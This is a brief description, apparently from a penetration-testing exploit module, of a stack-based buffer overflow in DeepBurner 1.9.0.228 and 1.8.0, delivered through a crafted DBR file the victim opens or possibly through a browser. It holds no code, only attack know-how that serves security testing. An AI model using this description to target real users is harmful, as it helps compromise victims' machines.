					This module exploits a stack-based buffer overflow in versions 1.9.0.228,
				1.8.0, and possibly other versions of AstonSoft&#39;s DeepBurner (Pro, Lite, etc).
				An attacker must send the file to victim and the victim must open the file.
				Alternatively it may be possible to execute code remotely via an embedded
				DBR file within a browser, since the DBR extention is registered to DeepBurner.
